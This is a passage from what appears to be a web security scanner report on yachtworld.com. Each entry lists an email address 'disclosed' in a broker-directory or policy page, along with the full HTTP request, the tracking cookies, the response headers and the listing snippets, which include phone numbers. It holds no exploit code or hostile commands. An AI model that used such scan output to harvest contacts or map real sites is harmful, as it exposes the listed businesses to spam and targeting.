tp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:35:52 GMT Server: Apache Accept-Ranges: bytes Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Length: 176122 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Language: en-us
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html lang="en"> <head> <title>Boat and Yacht Sales, Buy Boats and Yachts - YachtWorld.com ...[SNIP]... <dd class="byp_desc"> New Yachts: Wyliecat and Hanse. Sales hdqtrs. for Wyliecat. Select previously owned vessels. - NorCal Hanse dealer: Larry R. Mayne - John Saul, 415-332-6585, bearmarkyachts@gmail.com, George Higbie, 4 </dd> ...[SNIP]...
The following email addresses were disclosed in the response:
captcurtstrawlers@verizon.net
charters@sarasotayacht.com
quarterdeckys@aol.com
Request
GET /byp/categories/BrokerageSales/YachtBrokerageFirms_FL.html.en HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:35:55 GMT Server: Apache Accept-Ranges: bytes Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Length: 381489 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Language: en-us
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html lang="en"> <head> <title>Boat and Yacht Sales, Buy Boats and Yachts - YachtWorld.com ...[SNIP]... <dd class="byp_desc"> New Web Site Coming Soon! www.trawlers-yachts.com Call Capt. Curt Marsh For Mariner Line Details @ 941-730-0715 Email Address: captcurtstrawlers@verizon.net </dd> ...[SNIP]... <dd class="byp_desc"> located in Daytona Beach across from Halifax Marina with 60 years of boating experience. 363-453-4022 E-mail quarterdeckys@aol.com </dd> ...[SNIP]... <dd class="byp_desc"> Allow one of our experienced charter brokers to arrange your next professionally crewed yacht charter. charters@sarasotayacht.com </dd> ...[SNIP]...
The following email address was disclosed in the response:
roxane@navypointmarine.com
Request
GET /byp/categories/BrokerageSales/YachtBrokerageFirms_NY.html.en HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:36:23 GMT Server: Apache Accept-Ranges: bytes Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Length: 102107 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Language: en-us
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html lang="en"> <head> <title>Boat and Yacht Sales, Buy Boats and Yachts - YachtWorld.com ...[SNIP]... <dd class="byp_desc"> roxane@navypointmarine.com </dd> ...[SNIP]...
The following email address was disclosed in the response:
Info@LittleYachtSales.com
Request
GET /byp/categories/BrokerageSales/YachtBrokerageFirms_TX.html.en HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:36:50 GMT Server: Apache Accept-Ranges: bytes Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Length: 65355 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Language: en-us
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html lang="en"> <head> <title>Boat and Yacht Sales, Buy Boats and Yachts - YachtWorld.com ...[SNIP]... <dd class="byp_desc"> Little Yacht Sales-The Gulf Coast's place for Premier Brokerage Yachts. Over 27 years experience exclusively in yacht sales. 713-817-7216 Info@LittleYachtSales.com </dd> ...[SNIP]...
The following email addresses were disclosed in the response:
cs@yachtworld.com
policies@yachtworld.com
Request
GET /core/globalnav/privacy.jsp HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:34:39 GMT Server: Apache Cache-Control: private If-Modified-Since: Thu, 02 Dec 2010 00:46:40 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The following email address was disclosed in the response:
copyright@yachtworld.com
Request
GET /core/globalnav/termOfUse.jsp HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:34:39 GMT Server: Apache Cache-Control: private If-Modified-Since: Thu, 02 Dec 2010 00:46:40 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
